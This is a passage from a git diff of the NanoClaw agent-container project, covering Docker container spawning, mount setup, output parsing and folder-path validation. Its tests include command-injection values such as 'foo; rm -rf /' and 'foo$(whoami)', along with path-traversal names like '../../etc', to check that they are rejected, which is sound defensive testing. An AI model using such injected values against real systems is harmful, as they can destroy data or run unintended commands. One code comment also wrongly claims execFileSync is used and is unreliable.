https://code.claude.com/docs/en/agent-teams#orchestrate-teams-of-claude-code-sessions + CLAUDE_CODE_EXPERIMENTAL_AGENT_TEAMS: '1', + // Load CLAUDE.md from additional mounted directories + // https://code.claude.com/docs/en/memory#load-memory-from-additional-directories + CLAUDE_CODE_ADDITIONAL_DIRECTORIES_CLAUDE_MD: '1', + // Enable Claude's memory feature (persists user preferences between sessions) + // https://code.claude.com/docs/en/memory#manage-auto-memory + CLAUDE_CODE_DISABLE_AUTO_MEMORY: '0', + }, + }, + null, + 2, + ) + '\n', + ); + } + + // Sync skills from container/skills/ into each group's .claude/skills/ + const skillsSrc = path.join(process.cwd(), 'container', 'skills'); + const skillsDst = path.join(groupSessionsDir, 'skills'); + if (fs.existsSync(skillsSrc)) { + for (const skillDir of fs.readdirSync(skillsSrc)) { + const srcDir = path.join(skillsSrc, skillDir); + if (!fs.statSync(srcDir).isDirectory()) continue; + const dstDir = path.join(skillsDst, skillDir); + fs.cpSync(srcDir, dstDir, { recursive: true }); + } + } + mounts.push({ + hostPath: groupSessionsDir, + containerPath: '/home/node/.claude', + readonly: false, + }); + + // Per-group IPC namespace: each group gets its own IPC directory + // This prevents cross-group privilege escalation via IPC + const groupIpcDir = resolveGroupIpcPath(group.folder); + fs.mkdirSync(path.join(groupIpcDir, 'messages'), { recursive: true }); + fs.mkdirSync(path.join(groupIpcDir, 'tasks'), { recursive: true }); + fs.mkdirSync(path.join(groupIpcDir, 'input'), { recursive: true }); + mounts.push({ + hostPath: groupIpcDir, + containerPath: '/workspace/ipc', + readonly: false, + }); + + // Copy agent-runner source into a per-group writable location so agents + // can customize it (add tools, change behavior) without affecting other + // groups. Recompiled on container startup via entrypoint.sh. + const agentRunnerSrc = path.join(projectRoot, 'container', 'agent-runner', 'src'); + const groupAgentRunnerDir = path.join(DATA_DIR, 'sessions', group.folder, 'agent-runner-src'); + if (fs.existsSync(agentRunnerSrc)) { + const srcIndex = path.join(agentRunnerSrc, 'index.ts'); + const cachedIndex = path.join(groupAgentRunnerDir, 'index.ts'); + const needsCopy = + !fs.existsSync(groupAgentRunnerDir) || + !fs.existsSync(cachedIndex) || + (fs.existsSync(srcIndex) && fs.statSync(srcIndex).mtimeMs > fs.statSync(cachedIndex).mtimeMs); + if (needsCopy) { + fs.cpSync(agentRunnerSrc, groupAgentRunnerDir, { recursive: true }); + } + } + mounts.push({ + hostPath: groupAgentRunnerDir, + containerPath: '/app/src', + readonly: false, + }); + + // Additional mounts validated against external allowlist (tamper-proof from containers) + if (group.containerConfig?.additionalMounts) { + const validatedMounts = validateAdditionalMounts(group.containerConfig.additionalMounts, group.name, isMain); + mounts.push(...validatedMounts); + } + + return mounts; +} + +async function buildContainerArgs( + mounts: VolumeMount[], + containerName: string, + agentIdentifier?: string, +): Promise { + const args: string[] = ['run', '-i', '--rm', '--name', containerName]; + + // Pass host timezone so container's local time matches the user's + args.push('-e', `TZ=${TIMEZONE}`); + + // OneCLI gateway handles credential injection — containers never see real secrets. + // The gateway intercepts HTTPS traffic and injects API keys or OAuth tokens. + const onecliApplied = await onecli.applyContainerConfig(args, { + addHostMapping: false, // Nanoclaw already handles host gateway + agent: agentIdentifier, + }); + if (onecliApplied) { + logger.info({ containerName }, 'OneCLI gateway config applied'); + } else { + logger.warn({ containerName }, 'OneCLI gateway not reachable — container will have no credentials'); + } + + // Runtime-specific args for host gateway resolution + args.push(...hostGatewayArgs()); + + // Run as host user so bind-mounted files are accessible. + // Skip when running as root (uid 0), as the container's node user (uid 1000), + // or when getuid is unavailable (native Windows without WSL). + const hostUid = process.getuid?.(); + const hostGid = process.getgid?.(); + if (hostUid != null && hostUid !== 0 && hostUid !== 1000) { + args.push('--user', `${hostUid}:${hostGid}`); + args.push('-e', 'HOME=/home/node'); + } + + for (const mount of mounts) { + if (mount.readonly) { + args.push(...readonlyMountArgs(mount.hostPath, mount.containerPath)); + } else { + args.push('-v', `${mount.hostPath}:${mount.containerPath}`); + } + } + + args.push(CONTAINER_IMAGE); + + return args; +} + +export async function runContainerAgent( + group: RegisteredGroup, + input: ContainerInput, + onProcess: (proc: ChildProcess, containerName: string) => void, + onOutput?: (output: ContainerOutput) => Promise, +): Promise { + const startTime = Date.now(); + + const groupDir = resolveGroupFolderPath(group.folder); + fs.mkdirSync(groupDir, { recursive: true }); + + const mounts = buildVolumeMounts(group, input.isMain); + const safeName = group.folder.replace(/[^a-zA-Z0-9-]/g, '-'); + const containerName = `nanoclaw-${safeName}-${Date.now()}`; + // Main group uses the default OneCLI agent; others use their own agent. + const agentIdentifier = input.isMain ? undefined : group.folder.toLowerCase().replace(/_/g, '-'); + const containerArgs = await buildContainerArgs(mounts, containerName, agentIdentifier); + + logger.debug( + { + group: group.name, + containerName, + mounts: mounts.map((m) => `${m.hostPath} -> ${m.containerPath}${m.readonly ? ' (ro)' : ''}`), + containerArgs: containerArgs.join(' '), + }, + 'Container mount configuration', + ); + + logger.info( + { + group: group.name, + containerName, + mountCount: mounts.length, + isMain: input.isMain, + }, + 'Spawning container agent', + ); + + const logsDir = path.join(groupDir, 'logs'); + fs.mkdirSync(logsDir, { recursive: true }); + + return new Promise((resolve) => { + const container = spawn(CONTAINER_RUNTIME_BIN, containerArgs, { + stdio: ['pipe', 'pipe', 'pipe'], + }); + + onProcess(container, containerName); + + let stdout = ''; + let stderr = ''; + let stdoutTruncated = false; + let stderrTruncated = false; + + container.stdin.write(JSON.stringify(input)); + container.stdin.end(); + + // Streaming output: parse OUTPUT_START/END marker pairs as they arrive + let parseBuffer = ''; + let newSessionId: string | undefined; + let outputChain = Promise.resolve(); + + container.stdout.on('data', (data) => { + const chunk = data.toString(); + + // Always accumulate for logging + if (!stdoutTruncated) { + const remaining = CONTAINER_MAX_OUTPUT_SIZE - stdout.length; + if (chunk.length > remaining) { + stdout += chunk.slice(0, remaining); + stdoutTruncated = true; + logger.warn({ group: group.name, size: stdout.length }, 'Container stdout truncated due to size limit'); + } else { + stdout += chunk; + } + } + + // Stream-parse for output markers + if (onOutput) { + parseBuffer += chunk; + let startIdx: number; + while ((startIdx = parseBuffer.indexOf(OUTPUT_START_MARKER)) !== -1) { + const endIdx = parseBuffer.indexOf(OUTPUT_END_MARKER, startIdx); + if (endIdx === -1) break; // Incomplete pair, wait for more data + + const jsonStr = parseBuffer.slice(startIdx + OUTPUT_START_MARKER.length, endIdx).trim(); + parseBuffer = parseBuffer.slice(endIdx + OUTPUT_END_MARKER.length); + + try { + const parsed: ContainerOutput = JSON.parse(jsonStr); + if (parsed.newSessionId) { + newSessionId = parsed.newSessionId; + } + hadStreamingOutput = true; + // Activity detected — reset the hard timeout + resetTimeout(); + // Call onOutput for all markers (including null results) + // so idle timers start even for "silent" query completions. + outputChain = outputChain.then(() => onOutput(parsed)); + } catch (err) { + logger.warn({ group: group.name, error: err }, 'Failed to parse streamed output chunk'); + } + } + } + }); + + container.stderr.on('data', (data) => { + const chunk = data.toString(); + const lines = chunk.trim().split('\n'); + for (const line of lines) { + if (line) logger.debug({ container: group.folder }, line); + } + // Don't reset timeout on stderr — SDK writes debug logs continuously. + // Timeout only resets on actual output (OUTPUT_MARKER in stdout). + if (stderrTruncated) return; + const remaining = CONTAINER_MAX_OUTPUT_SIZE - stderr.length; + if (chunk.length > remaining) { + stderr += chunk.slice(0, remaining); + stderrTruncated = true; + logger.warn({ group: group.name, size: stderr.length }, 'Container stderr truncated due to size limit'); + } else { + stderr += chunk; + } + }); + + let timedOut = false; + let hadStreamingOutput = false; + const configTimeout = group.containerConfig?.timeout || CONTAINER_TIMEOUT; + // Grace period: hard timeout must be at least IDLE_TIMEOUT + 30s so the + // graceful _close sentinel has time to trigger before the hard kill fires. + const timeoutMs = Math.max(configTimeout, IDLE_TIMEOUT + 30_000); + + const killOnTimeout = () => { + timedOut = true; + logger.error({ group: group.name, containerName }, 'Container timeout, stopping gracefully'); + try { + stopContainer(containerName); + } catch (err) { + logger.warn({ group: group.name, containerName, err }, 'Graceful stop failed, force killing'); + container.kill('SIGKILL'); + } + }; + + let timeout = setTimeout(killOnTimeout, timeoutMs); + + // Reset the timeout whenever there's activity (streaming output) + const resetTimeout = () => { + clearTimeout(timeout); + timeout = setTimeout(killOnTimeout, timeoutMs); + }; + + container.on('close', (code) => { + clearTimeout(timeout); + const duration = Date.now() - startTime; + + if (timedOut) { + const ts = new Date().toISOString().replace(/[:.]/g, '-'); + const timeoutLog = path.join(logsDir, `container-${ts}.log`); + fs.writeFileSync( + timeoutLog, + [ + `=== Container Run Log (TIMEOUT) ===`, + `Timestamp: ${new Date().toISOString()}`, + `Group: ${group.name}`, + `Container: ${containerName}`, + `Duration: ${duration}ms`, + `Exit Code: ${code}`, + `Had Streaming Output: ${hadStreamingOutput}`, + ].join('\n'), + ); + + // Timeout after output = idle cleanup, not failure. + // The agent already sent its response; this is just the + // container being reaped after the idle period expired. + if (hadStreamingOutput) { + logger.info( + { group: group.name, containerName, duration, code }, + 'Container timed out after output (idle cleanup)', + ); + outputChain.then(() => { + resolve({ + status: 'success', + result: null, + newSessionId, + }); + }); + return; + } + + logger.error({ group: group.name, containerName, duration, code }, 'Container timed out with no output'); + + resolve({ + status: 'error', + result: null, + error: `Container timed out after ${configTimeout}ms`, + }); + return; + } + + const timestamp = new Date().toISOString().replace(/[:.]/g, '-'); + const logFile = path.join(logsDir, `container-${timestamp}.log`); + const isVerbose = process.env.LOG_LEVEL === 'debug' || process.env.LOG_LEVEL === 'trace'; + + const logLines = [ + `=== Container Run Log ===`, + `Timestamp: ${new Date().toISOString()}`, + `Group: ${group.name}`, + `IsMain: ${input.isMain}`, + `Duration: ${duration}ms`, + `Exit Code: ${code}`, + `Stdout Truncated: ${stdoutTruncated}`, + `Stderr Truncated: ${stderrTruncated}`, + ``, + ]; + + const isError = code !== 0; + + if (isVerbose || isError) { + // On error, log input metadata only — not the full prompt. + // Full input is only included at verbose level to avoid + // persisting user conversation content on every non-zero exit. + if (isVerbose) { + logLines.push(`=== Input ===`, JSON.stringify(input, null, 2), ``); + } else { + logLines.push( + `=== Input Summary ===`, + `Prompt length: ${input.prompt.length} chars`, + `Session ID: ${input.sessionId || 'new'}`, + ``, + ); + } + logLines.push( + `=== Container Args ===`, + containerArgs.join(' '), + ``, + `=== Mounts ===`, + mounts.map((m) => `${m.hostPath} -> ${m.containerPath}${m.readonly ? ' (ro)' : ''}`).join('\n'), + ``, + `=== Stderr${stderrTruncated ? ' (TRUNCATED)' : ''} ===`, + stderr, + ``, + `=== Stdout${stdoutTruncated ? ' (TRUNCATED)' : ''} ===`, + stdout, + ); + } else { + logLines.push( + `=== Input Summary ===`, + `Prompt length: ${input.prompt.length} chars`, + `Session ID: ${input.sessionId || 'new'}`, + ``, + `=== Mounts ===`, + mounts.map((m) => `${m.containerPath}${m.readonly ? ' (ro)' : ''}`).join('\n'), + ``, + ); + } + + fs.writeFileSync(logFile, logLines.join('\n')); + logger.debug({ logFile, verbose: isVerbose }, 'Container log written'); + + if (code !== 0) { + logger.error( + { + group: group.name, + code, + duration, + stderr, + stdout, + logFile, + }, + 'Container exited with error', + ); + + resolve({ + status: 'error', + result: null, + error: `Container exited with code ${code}: ${stderr.slice(-200)}`, + }); + return; + } + + // Streaming mode: wait for output chain to settle, return completion marker + if (onOutput) { + outputChain.then(() => { + logger.info({ group: group.name, duration, newSessionId }, 'Container completed (streaming mode)'); + resolve({ + status: 'success', + result: null, + newSessionId, + }); + }); + return; + } + + // Legacy mode: parse the last output marker pair from accumulated stdout + try { + // Extract JSON between sentinel markers for robust parsing + const startIdx = stdout.indexOf(OUTPUT_START_MARKER); + const endIdx = stdout.indexOf(OUTPUT_END_MARKER); + + let jsonLine: string; + if (startIdx !== -1 && endIdx !== -1 && endIdx > startIdx) { + jsonLine = stdout.slice(startIdx + OUTPUT_START_MARKER.length, endIdx).trim(); + } else { + // Fallback: last non-empty line (backwards compatibility) + const lines = stdout.trim().split('\n'); + jsonLine = lines[lines.length - 1]; + } + + const output: ContainerOutput = JSON.parse(jsonLine); + + logger.info( + { + group: group.name, + duration, + status: output.status, + hasResult: !!output.result, + }, + 'Container completed', + ); + + resolve(output); + } catch (err) { + logger.error( + { + group: group.name, + stdout, + stderr, + error: err, + }, + 'Failed to parse container output', + ); + + resolve({ + status: 'error', + result: null, + error: `Failed to parse container output: ${err instanceof Error ? err.message : String(err)}`, + }); + } + }); + + container.on('error', (err) => { + clearTimeout(timeout); + logger.error({ group: group.name, containerName, error: err }, 'Container spawn error'); + resolve({ + status: 'error', + result: null, + error: `Container spawn error: ${err.message}`, + }); + }); + }); +} + +export function writeTasksSnapshot( + groupFolder: string, + isMain: boolean, + tasks: Array<{ + id: string; + groupFolder: string; + prompt: string; + script?: string | null; + schedule_type: string; + schedule_value: string; + status: string; + next_run: string | null; + }>, +): void { + // Write filtered tasks to the group's IPC directory + const groupIpcDir = resolveGroupIpcPath(groupFolder); + fs.mkdirSync(groupIpcDir, { recursive: true }); + + // Main sees all tasks, others only see their own + const filteredTasks = isMain ? tasks : tasks.filter((t) => t.groupFolder === groupFolder); + + const tasksFile = path.join(groupIpcDir, 'current_tasks.json'); + fs.writeFileSync(tasksFile, JSON.stringify(filteredTasks, null, 2)); +} + +export interface AvailableGroup { + jid: string; + name: string; + lastActivity: string; + isRegistered: boolean; +} + +/** + * Write available groups snapshot for the container to read. + * Only main group can see all available groups (for activation). + * Non-main groups only see their own registration status. + */ +export function writeGroupsSnapshot( + groupFolder: string, + isMain: boolean, + groups: AvailableGroup[], + _registeredJids: Set, +): void { + const groupIpcDir = resolveGroupIpcPath(groupFolder); + fs.mkdirSync(groupIpcDir, { recursive: true }); + + // Main sees all groups; others see nothing (they can't activate groups) + const visibleGroups = isMain ? groups : []; + + const groupsFile = path.join(groupIpcDir, 'available_groups.json'); + fs.writeFileSync( + groupsFile, + JSON.stringify( + { + groups: visibleGroups, + lastSync: new Date().toISOString(), + }, + null, + 2, + ), + ); +} diff --git a/src/v1/container-runtime.test.ts b/src/v1/container-runtime.test.ts new file mode 100644 index 0000000..94e14e9 --- /dev/null +++ b/src/v1/container-runtime.test.ts @@ -0,0 +1,147 @@ +import { describe, it, expect, vi, beforeEach } from 'vitest'; + +// Mock logger +vi.mock('./logger.js', () => ({ + logger: { + debug: vi.fn(), + info: vi.fn(), + warn: vi.fn(), + error: vi.fn(), + }, +})); + +// Mock child_process — store the mock fn so tests can configure it +const mockExecSync = vi.fn(); +vi.mock('child_process', () => ({ + execSync: (...args: unknown[]) => mockExecSync(...args), +})); + +import { + CONTAINER_RUNTIME_BIN, + readonlyMountArgs, + stopContainer, + ensureContainerRuntimeRunning, + cleanupOrphans, +} from './container-runtime.js'; +import { logger } from './logger.js'; + +beforeEach(() => { + vi.clearAllMocks(); +}); + +// --- Pure functions --- + +describe('readonlyMountArgs', () => { + it('returns -v flag with :ro suffix', () => { + const args = readonlyMountArgs('/host/path', '/container/path'); + expect(args).toEqual(['-v', '/host/path:/container/path:ro']); + }); +}); + +describe('stopContainer', () => { + it('calls docker stop for valid container names', () => { + stopContainer('nanoclaw-test-123'); + expect(mockExecSync).toHaveBeenCalledWith(`${CONTAINER_RUNTIME_BIN} stop -t 1 nanoclaw-test-123`, { + stdio: 'pipe', + }); + }); + + it('rejects names with shell metacharacters', () => { + expect(() => stopContainer('foo; rm -rf /')).toThrow('Invalid container name'); + expect(() => stopContainer('foo$(whoami)')).toThrow('Invalid container name'); + expect(() => stopContainer('foo`id`')).toThrow('Invalid container name'); + expect(mockExecSync).not.toHaveBeenCalled(); + }); +}); + +// --- ensureContainerRuntimeRunning --- + +describe('ensureContainerRuntimeRunning', () => { + it('does nothing when runtime is already running', () => { + mockExecSync.mockReturnValueOnce(''); + + ensureContainerRuntimeRunning(); + + expect(mockExecSync).toHaveBeenCalledTimes(1); + expect(mockExecSync).toHaveBeenCalledWith(`${CONTAINER_RUNTIME_BIN} info`, { + stdio: 'pipe', + timeout: 10000, + }); + expect(logger.debug).toHaveBeenCalledWith('Container runtime already running'); + }); + + it('throws when docker info fails', () => { + mockExecSync.mockImplementationOnce(() => { + throw new Error('Cannot connect to the Docker daemon'); + }); + + expect(() => ensureContainerRuntimeRunning()).toThrow('Container runtime is required but failed to start'); + expect(logger.error).toHaveBeenCalled(); + }); +}); + +// --- cleanupOrphans --- + +describe('cleanupOrphans', () => { + it('stops orphaned nanoclaw containers', () => { + // docker ps returns container names, one per line + mockExecSync.mockReturnValueOnce('nanoclaw-group1-111\nnanoclaw-group2-222\n'); + // stop calls succeed + mockExecSync.mockReturnValue(''); + + cleanupOrphans(); + + // ps + 2 stop calls + expect(mockExecSync).toHaveBeenCalledTimes(3); + expect(mockExecSync).toHaveBeenNthCalledWith(2, `${CONTAINER_RUNTIME_BIN} stop -t 1 nanoclaw-group1-111`, { + stdio: 'pipe', + }); + expect(mockExecSync).toHaveBeenNthCalledWith(3, `${CONTAINER_RUNTIME_BIN} stop -t 1 nanoclaw-group2-222`, { + stdio: 'pipe', + }); + expect(logger.info).toHaveBeenCalledWith( + { count: 2, names: ['nanoclaw-group1-111', 'nanoclaw-group2-222'] }, + 'Stopped orphaned containers', + ); + }); + + it('does nothing when no orphans exist', () => { + mockExecSync.mockReturnValueOnce(''); + + cleanupOrphans(); + + expect(mockExecSync).toHaveBeenCalledTimes(1); + expect(logger.info).not.toHaveBeenCalled(); + }); + + it('warns and continues when ps fails', () => { + mockExecSync.mockImplementationOnce(() => { + throw new Error('docker not available'); + }); + + cleanupOrphans(); // should not throw + + expect(logger.warn).toHaveBeenCalledWith( + expect.objectContaining({ err: expect.any(Error) }), + 'Failed to clean up orphaned containers', + ); + }); + + it('continues stopping remaining containers when one stop fails', () => { + mockExecSync.mockReturnValueOnce('nanoclaw-a-1\nnanoclaw-b-2\n'); + // First stop fails + mockExecSync.mockImplementationOnce(() => { + throw new Error('already stopped'); + }); + // Second stop succeeds + mockExecSync.mockReturnValueOnce(''); + + cleanupOrphans(); // should not throw + + expect(mockExecSync).toHaveBeenCalledTimes(3); + expect(logger.info).toHaveBeenCalledWith( + { count: 2, names: ['nanoclaw-a-1', 'nanoclaw-b-2'] }, + 'Stopped orphaned containers', + ); + }); +}); diff --git a/src/v1/container-runtime.ts b/src/v1/container-runtime.ts new file mode 100644 index 0000000..678a708 --- /dev/null +++ b/src/v1/container-runtime.ts @@ -0,0 +1,80 @@ +/** + * Container runtime abstraction for NanoClaw. + * All runtime-specific logic lives here so swapping runtimes means changing one file. + */ +import { execSync } from 'child_process'; +import os from 'os'; + +import { logger } from './logger.js'; + +/** The container runtime binary name. */ +export const CONTAINER_RUNTIME_BIN = 'docker'; + +/** CLI args needed for the container to resolve the host gateway. */ +export function hostGatewayArgs(): string[] { + // On Linux, host.docker.internal isn't built-in — add it explicitly + if (os.platform() === 'linux') { + return ['--add-host=host.docker.internal:host-gateway']; + } + return []; +} + +/** Returns CLI args for a readonly bind mount. */ +export function readonlyMountArgs(hostPath: string, containerPath: string): string[] { + return ['-v', `${hostPath}:${containerPath}:ro`]; +} + +/** Stop a container by name. Uses execFileSync to avoid shell injection. */ +export function stopContainer(name: string): void { + if (!/^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/.test(name)) { + throw new Error(`Invalid container name: ${name}`); + } + execSync(`${CONTAINER_RUNTIME_BIN} stop -t 1 ${name}`, { stdio: 'pipe' }); +} + +/** Ensure the container runtime is running, starting it if needed. */ +export function ensureContainerRuntimeRunning(): void { + try { + execSync(`${CONTAINER_RUNTIME_BIN} info`, { + stdio: 'pipe', + timeout: 10000, + }); + logger.debug('Container runtime already running'); + } catch (err) { + logger.error({ err }, 'Failed to reach container runtime'); + console.error('\n╔════════════════════════════════════════════════════════════════╗'); + console.error('║ FATAL: Container runtime failed to start ║'); + console.error('║ ║'); + console.error('║ Agents cannot run without a container runtime. To fix: ║'); + console.error('║ 1. Ensure Docker is installed and running ║'); + console.error('║ 2. Run: docker info ║'); + console.error('║ 3. Restart NanoClaw ║'); + console.error('╚════════════════════════════════════════════════════════════════╝\n'); + throw new Error('Container runtime is required but failed to start', { + cause: err, + }); + } +} + +/** Kill orphaned NanoClaw containers from previous runs. */ +export function cleanupOrphans(): void { + try { + const output = execSync(`${CONTAINER_RUNTIME_BIN} ps --filter name=nanoclaw- --format '{{.Names}}'`, { + stdio: ['pipe', 'pipe', 'pipe'], + encoding: 'utf-8', + }); + const orphans = output.trim().split('\n').filter(Boolean); + for (const name of orphans) { + try { + stopContainer(name); + } catch { + /* already stopped */ + } + } + if (orphans.length > 0) { + logger.info({ count: orphans.length, names: orphans }, 'Stopped orphaned containers'); + } + } catch (err) { + logger.warn({ err }, 'Failed to clean up orphaned containers'); + } +} diff --git a/src/db-migration.test.ts b/src/v1/db-migration.test.ts similarity index 100% rename from src/db-migration.test.ts rename to src/v1/db-migration.test.ts diff --git a/src/db.test.ts b/src/v1/db.test.ts similarity index 100% rename from src/db.test.ts rename to src/v1/db.test.ts diff --git a/src/db.ts b/src/v1/db.ts similarity index 100% rename from src/db.ts rename to src/v1/db.ts diff --git a/src/v1/env.ts b/src/v1/env.ts new file mode 100644 index 0000000..064e6f8 --- /dev/null +++ b/src/v1/env.ts @@ -0,0 +1,42 @@ +import fs from 'fs'; +import path from 'path'; +import { logger } from './logger.js'; + +/** + * Parse the .env file and return values for the requested keys. + * Does NOT load anything into process.env — callers decide what to + * do with the values. This keeps secrets out of the process environment + * so they don't leak to child processes. + */ +export function readEnvFile(keys: string[]): Record { + const envFile = path.join(process.cwd(), '.env'); + let content: string; + try { + content = fs.readFileSync(envFile, 'utf-8'); + } catch (err) { + logger.debug({ err }, '.env file not found, using defaults'); + return {}; + } + + const result: Record = {}; + const wanted = new Set(keys); + + for (const line of content.split('\n')) { + const trimmed = line.trim(); + if (!trimmed || trimmed.startsWith('#')) continue; + const eqIdx = trimmed.indexOf('='); + if (eqIdx === -1) continue; + const key = trimmed.slice(0, eqIdx).trim(); + if (!wanted.has(key)) continue; + let value = trimmed.slice(eqIdx + 1).trim(); + if ( + value.length >= 2 && + ((value.startsWith('"') && value.endsWith('"')) || (value.startsWith("'") && value.endsWith("'"))) + ) { + value = value.slice(1, -1); + } + if (value) result[key] = value; + } + + return result; +} diff --git a/src/formatting.test.ts b/src/v1/formatting.test.ts similarity index 100% rename from src/formatting.test.ts rename to src/v1/formatting.test.ts diff --git a/src/v1/group-folder.test.ts b/src/v1/group-folder.test.ts new file mode 100644 index 0000000..cc77210 --- /dev/null +++ b/src/v1/group-folder.test.ts @@ -0,0 +1,35 @@ +import path from 'path'; + +import { describe, expect, it } from 'vitest'; + +import { isValidGroupFolder, resolveGroupFolderPath, resolveGroupIpcPath } from './group-folder.js'; + +describe('group folder validation', () => { + it('accepts normal group folder names', () => { + expect(isValidGroupFolder('main')).toBe(true); + expect(isValidGroupFolder('family-chat')).toBe(true); + expect(isValidGroupFolder('Team_42')).toBe(true); + }); + + it('rejects traversal and reserved names', () => { + expect(isValidGroupFolder('../../etc')).toBe(false); + expect(isValidGroupFolder('/tmp')).toBe(false); + expect(isValidGroupFolder('global')).toBe(false); + expect(isValidGroupFolder('')).toBe(false); + }); + + it('resolves safe paths under groups directory', () => { + const resolved = resolveGroupFolderPath('family-chat'); + expect(resolved.endsWith(`${path.sep}groups${path.sep}family-chat`)).toBe(true); + }); + + it('resolves safe paths under data ipc directory', () => { + const resolved = resolveGroupIpcPath('family-chat'); + expect(resolved.endsWith(`${path.sep}data${path.sep}ipc${path.sep}family-chat`)).toBe(true); + }); + + it('throws for unsafe folder names', () => { + expect(() => resolveGroupFolderPath('../../etc')).toThrow(); + expect(() => resolveGroupIpcPath('/tmp')).toThrow(); + }); +}); diff --git a/src/v1/group-folder.ts b/src/v1/group-folder.ts new file mode 100644 index 0000000..5745954 --- /dev/null +++ b/src/v1/group-folder.ts @@ -0,0 +1,44 @@ +import path from 'path'; + +import { DATA_DIR, GROUPS_DIR } from './config.js'; + +const GROUP_FOLDER_PATTERN = /^[A-Za-z0-9][A-Za-z0-9_-]{0,63}$/; +const RESERVED_FOLDERS = new Set(['global']); + +export function isValidGroupFolder(folder: string): boolean { + if (!folder) return false; + if (folder !== folder.trim()) return false; + if (!GROUP_FOLDER_PATTERN.test(folder)) return false; + if (folder.includes('/') || folder.includes('\\')) return false; + if (folder.includes('..')) return false; + if (RESERVED_FOLDERS.has(folder.toLowerCase())) return false; + return true; +} + +export function assertValidGroupFolder(folder: string): void { + if (!isValidGroupFolder(folder)) { + throw new Error(`Invalid group folder "${folder}"`); + } +} + +function ensureWithinBase(baseDir: string, resolvedPath: string): void { + const rel = path.relative(baseDir, resolvedPath); + if (rel.startsWith('..') || path.isAbsolute(rel)) { + throw new Error(`Path escapes base directory: ${resolvedPath}`); + } +} + +export function resolveGroupFolderPath(folder: string): string { + assertValidGroupFolder(folder); + const groupPath = path.resolve(GROUPS_DIR, folder); + ensureWithinBase(GROUPS_DIR, groupPath); + return groupPath; +} + +export function resolveGroupIpcPath(folder: string): string { + assertValidGroupFolder(folder); + const ipcBaseDir = path.resolve(DATA_DIR, 'ipc'); + const ipcPath = path.resolve(ipcBaseDir, folder); + ensureWithinBase(ipcBaseDir, ipcPath); + return ipcPath; +} diff --git a/src/group-queue.test.ts b/src/v1/group-queue.test.ts similarity index 100% rename from src/group-queue.test.ts rename to src/v1/group-queue.test.ts diff --git a/src/group-queue.ts b/src/v1/group-queue.ts similarity index 100% rename from src/group-queue.ts rename to src/v1/group-queue.ts diff --git a/src/v1/index.ts b/src/v1/index.ts new file mode 100644 index 0000000..ded6b94 --- /dev/null +++ b/src/v1/index.ts @@ -0,0 +1,647 @@ +import fs from 'fs'; +import path from 'path'; + +import { OneCLI } from '@onecli-sh/sdk'; + +import { + ASSISTANT_NAME, + DEFAULT_TRIGGER, + getTriggerPattern, + GROUPS_DIR, + IDLE_TIMEOUT, + MAX_MESSAGES_PER_PROMPT, + ONECLI_URL, + POLL_INTERVAL, + TIMEZONE, +} from './config.js'; +import './channels/index.js'; +import { getChannelFactory, getRegisteredChannelNames } from './channels/registry.js'; +import { ContainerOutput, runContainerAgent, writeGroupsSnapshot, writeTasksSnapshot } from './container-runner.js'; +import { cleanupOrphans, ensureContainerRuntimeRunning } from './container-runtime.js'; +import { + getAllChats, + getAllRegisteredGroups, + getAllSessions, + deleteSession, + getAllTasks, + getLastBotMessageTimestamp, + getMessagesSince, + getNewMessages, + getRouterState, + initDatabase, + setRegisteredGroup, + setRouterState, + setSession, + storeChatMetadata, + storeMessage, +} from './db.js'; +import { GroupQueue } from './group-queue.js'; +import { resolveGroupFolderPath } from './group-folder.js'; +import { startIpcWatcher } from './ipc.js'; +import { findChannel, formatMessages, formatOutbound } from './router.js'; +import { restoreRemoteControl, startRemoteControl, stopRemoteControl } from './remote-control.js'; +import { isSenderAllowed, isTriggerAllowed, loadSenderAllowlist, shouldDropMessage } from './sender-allowlist.js'; +import { startSessionCleanup } from './session-cleanup.js'; +import { startSchedulerLoop } from './task-scheduler.js'; +import { Channel, NewMessage, RegisteredGroup } from './types.js'; +import { logger } from './logger.js'; + +// Re-export for backwards compatibility during refactor +export { escapeXml, formatMessages } from './router.js'; + +let lastTimestamp = ''; +let sessions: Record = {}; +let registeredGroups: Record = {}; +let lastAgentTimestamp: Record = {}; +let messageLoopRunning = false; + +const channels: Channel[] = []; +const queue = new GroupQueue(); + +const onecli = new OneCLI({ url: ONECLI_URL }); + +function ensureOneCLIAgent(jid: string, group: RegisteredGroup): void { + if (group.isMain) return; + const identifier = group.folder.toLowerCase().replace(/_/g, '-'); + onecli.ensureAgent({ name: group.name, identifier }).then( + (res) => { + logger.info({ jid, identifier, created: res.created }, 'OneCLI agent ensured'); + }, + (err) => { + logger.debug({ jid, identifier, err: String(err) }, 'OneCLI agent ensure skipped'); + }, + ); +} + +function loadState(): void { + lastTimestamp = getRouterState('last_timestamp') || ''; + const agentTs = getRouterState('last_agent_timestamp'); + try { + lastAgentTimestamp = agentTs ? JSON.parse(agentTs) : {}; + } catch { + logger.warn('Corrupted last_agent_timestamp in DB, resetting'); + lastAgentTimestamp = {}; + } + sessions = getAllSessions(); + registeredGroups = getAllRegisteredGroups(); + logger.info({ groupCount: Object.keys(registeredGroups).length }, 'State loaded'); +} + +/** + * Return the message cursor for a group, recovering from the last bot reply + * if lastAgentTimestamp is missing (new group, corrupted state, restart). + */ +function getOrRecoverCursor(chatJid: string): string { + const existing = lastAgentTimestamp[chatJid]; + if (existing) return existing; + + const botTs = getLastBotMessageTimestamp(chatJid, ASSISTANT_NAME); + if (botTs) { + logger.info({ chatJid, recoveredFrom: botTs }, 'Recovered message cursor from last bot reply'); + lastAgentTimestamp[chatJid] = botTs; + saveState(); + return botTs; + } + return ''; +} + +function saveState(): void { + setRouterState('last_timestamp', lastTimestamp); + setRouterState('last_agent_timestamp', JSON.stringify(lastAgentTimestamp)); +} + +function registerGroup(jid: string, group: RegisteredGroup): void { + let groupDir: string; + try { + groupDir = resolveGroupFolderPath(group.folder); + } catch (err) { + logger.warn({ jid, folder: group.folder, err }, 'Rejecting group registration with invalid folder'); + return; + } + + registeredGroups[jid] = group; + setRegisteredGroup(jid, group); + + // Create group folder + fs.mkdirSync(path.join(groupDir, 'logs'), { recursive: true }); + + // Copy CLAUDE.md template into the new group folder so agents have + // identity and instructions from the first run. (Fixes #1391) + const groupMdFile = path.join(groupDir, 'CLAUDE.md'); + if (!fs.existsSync(groupMdFile)) { + const templateFile = path.join(GROUPS_DIR, group.isMain ? 'main' : 'global', 'CLAUDE.md'); + if (fs.existsSync(templateFile)) { + let content = fs.readFileSync(templateFile, 'utf-8'); + if (ASSISTANT_NAME !== 'Andy') { + content = content.replace(/^# Andy$/m, `# 